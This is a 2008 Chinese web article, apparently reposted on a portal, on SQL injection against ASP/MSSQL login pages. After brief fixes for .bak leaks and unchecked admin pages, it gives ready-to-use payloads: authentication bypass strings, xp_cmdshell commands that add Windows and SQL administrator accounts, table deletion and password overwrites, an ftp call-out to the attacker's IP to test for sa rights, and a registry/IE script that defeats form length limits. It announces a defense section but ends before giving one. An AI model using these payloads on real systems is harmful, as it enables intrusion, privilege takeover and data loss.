分享
 
 
 

浅谈SQL注入式(SQLinjection)攻击与防范

王朝mssql·作者佚名  2008-05-19
窄屏简体版  字體: |||超大  

1、bak文件泄漏asp源代码

很多编辑工具,如Editplus、UltraEdit,默认情况下在保存文件的时候,都会自动备份一个.bak文件。如创建或者编辑config.asp文件,则编辑器会自动生成一个config.asp.bak文件,如果没有删除该文件,攻击者可以通过http://www.***.com/config.asp.bak来下载asp源程序。

可以想象,你的源程序被下载,被攻击的风险无疑大了很多。而如果是配置文件,呵呵,用户名、密码、数据库名称/位置……

解决办法:要么就直接关闭编辑器的自动备份功能,要么在上传的时候,删除所有.bak文件。

2、身份验证被绕过

一般网站有很多页面是需要身份验证通过以后才能访问的,而在这些页面需要对用户身份再次进行验证,但是很多程序员往往忽略了这一点。如果攻击者知道了这些页面的路径和文件名,就可以绕过身份验证,直接进入到该页面。如:需要用户通过login.asp页面登陆,经过身份验证才能打开manage.asp页面。攻击者可以通过http://www.***.com/manage.asp直接进入管理界面。

解决办法:在这些的页面开头进行身份确认。如:在身份验证通过以后传递一个session("login")="ok",在manage.asp开头加入

以下内容为程序代码:

if session("login")<"ok" then

response.redirect "login.asp"

end if

上面2点说的都是编程的基础问题,下面就来讨论本文的重点,关于sql注入式攻击与防范。

3、asp程序数据库密码验证漏洞

首先,关于request对象,我们知道,如果在form表单中使用get方法传递数据时,应该用QueryString集合来检索表单数据;而使用post方法传递数据时,应该用Form集合来检索表单数据。而更多的程序员为了方便,直接省略集合名称,使用request("data")来检索数据,看似简单,实际上效率很低,而且容易出错。asp默认搜索集合的顺序是QueryString、Form、Cookie、Serverariable,当发现第一个匹配的变量时,就认定是你要访问的成员。所以建议大家不要采用这种方法,题外话说完,我们转入正题。

先来看login.asp文件

以下内容为程序代码:

……

<form action="verify.asp" method="post" name="login"

用户名<input type=text name=name value="" maxlength="20"

密码<input type=password name=pwd value="" maxlength="20"

<input type=submit name=bt value="确认"

<input type=reset name=bt value="重置"

</form

……

再来看verify.asp文件

以下内容为程序代码:

……

dim rs,sql

dim name,pwd

name=request.form("name")

pwd=request.form("pwd")

if name="" or pwd="" then

response.redirect "login.asp"

end if

……

'关于身份验证

sql="select * from user where name='"&name&"' and pwd='"&pwd&"'"

……

不要以为没有人会这样写,我见过很多很多,如果你相信我:),看看攻击者能做什么:

(1)我们在用户名位置输入【admin' or 1='1】,在密码区输入【11】。注:内容只有【】内的。看看sql会变成什么:

以下内容为程序代码:

sql=select * from user where name='admin' or 1='1' and pwd='11'

我们知道,or是一个逻辑运算符,在判断多个条件的时候,只要有一个成立,则等式就返回真,后面的and就不再进行判断了,也就是说我们绕过了密码验证,只要我们知道用户名就可以登陆该系统。

(2)我们也可以在用户名位置输入【admin' --】,在密码区输入【11】。再看看sql:

以下内容为程序代码:

sql=select * from user where name='admin' --' and pasword='11'

同样,通过连接符--注释掉了后面的密码验证,对access数据库无效。

(3)如果可以通过连接符注释掉后面的验证,那么就更有意思了,来看我们能作什么:

a、在用户名位置输入【admin';exec master.dbo.sp_addlogin Cool;--】,添加一个sql用户

b、在用户名位置输入【admin';exec master.dbo.sp_password null,123456,Cool;--】,给Cool设置密码为123456

c、在用户名位置输入【admin';exec master.dbo.sp_addsrvrolemember Cool,sysadmin;--】,给Cool赋予System Administrator权限

d、在用户名位置输入【admin';exec master.dbo.xp_cmdshell 'net user Cool 123456 /workstations:*

/times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- 】,给系统添加一个密码为123456的帐户Cool,并设置相关属性,关于net user命令可以参考这里。

e、在用户名位置输入【admin';exec master.dbo.xp_cmdshell 'net localgroup administrators Cool /add';--】,把cool用户添加到管理员组。

现在觉得恐怖了没有,当然我还没说完,实现这些必须是该站点使用sa或者system administrator权限的用户来连接数据库,普通的的虚拟空间是不用想了,除非管理员是SB。但是对于那些站点放在自己服务器上的网站,很难说哦,真的很难说,呵呵,我见过N个。

那如果不是sa,是不是就什么也不能做了,当然不是!只是不能获得太高权限来控制sql库和系统了,但是对这个库,我们还是拥有完整的管理权限。来看看我们能作什么:

a、输入【admin';delete user;--】,一旦他的表名就是user,就会删除user表里所有记录。够狠吧!你可千万别这么做哦!

b、输入【admin';insert into user (name,pwd) values ('cool','123456');--】,可以给user表添加一个用户,当然前提是表名和字段名都要正确。

c、输入【admin';update news set pwd='123456' where name='admin';--】,可以修改admin的密码,当然前提也是表名和字段名都要正确。

更多的攻击内容,你可以参考sql语法。

看来如果不是sa还是比较郁闷的,当然,我们也有一些简单的方法来判断网站是否使用sa来连接数据库。

a、在cmd中执行nc -l -p 21,监听本机的21端口;当然也可以采用火墙什么的。

b、输入【admin';exec master.dbo.xp_cmdshell 'ftp *.*.*.*'】,其中*代表你的ip地址,如果发现有连接,就可以断定是使用sa了,而且可以获得网站数据库的ip地址,因为有些网站web和sql是放在不同服务器上的;如果没有连接,则网站使用的是非sa帐户。

可能有的朋友已经看出来了,如果网站使用的是sa,我们可以通过页面从内部发起连接,可以构造ftp脚本,也可以使用tftp来上传文件,即使有火墙也是枉然。

也许有的朋友会说,人家在表单里已经这里了最大长度是20,你跟本就输入不了那么多!没事,难不倒我们。

方法一:

a、打开网站页面http:\www.***.comlogin.asp,查看源文件,把提交表单部分

以下内容为程序代码:

<form action="verify.asp" method="post" name="login"

用户名<input type=text name=name value="" maxlength="20"

密码<input type=password name=pwd value="" maxlength="20"

<input type=submit name=bt value="确认"

<input type=reset name=bt value="重置"

</form

拷贝出来,存到本机login.htm

b、修改action为http:\www.***.comverify.asp,即:

以下内容为程序代码:

<form action="http:\www.***.comverify.asp" method="post" name="login"

用户名<input type=text name=name value="" maxlength="20"

密码<input type=password name=pwd value="" maxlength="20"

<input type=submit name=bt value="确认"

<input type=reset name=bt value="重置"

</form

注意:有的网站这里的action为空,就需要你自己慢慢找找他提交到那里去了,呵呵,我遇到过这种情况,一般来说都是可以找到的。

c、修改maxlength,加大,再加大,要不就删除了!

d、从本地提交变量

方法二:

Cool.reg

9x用户:

以下内容为程序代码:

REGEDIT4

[HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMenuExt给我加大

@="c:\cool.htm"

"contexts"=dword:00000004

2k用户:

以下内容为程序代码:

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMenuExt给我加大

@="c:\cool.htm"

"contexts"=dword:00000004

Cool.htm

以下内容为程序代码:

<script language=vbs

set srcevent = external.menuarguments.event

set doc=external.menuarguments.document

set ele=doc.elementfrompoint( srcevent.clientx, srcevent.clienty )

if ele.type ="text" or ele.type="password" then

ele.maxlength=100

ele.size=100

end if

</script

a、拷贝cool.reg的内容,保存,执行并确认。

b、拷贝cool.htm的内容,保存到指定位置,这里是c:c、打开网页http://www.***.com,在输入框位置点击右键,会看到“给我加大”一项,点击即可

当然,我们可以修改cool.reg来改变cool.htm的路径以及文件名;也可以修改cool.htm来改变size和maxlength。

好了,说了这么多恐怖的东东,来看看怎么防

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有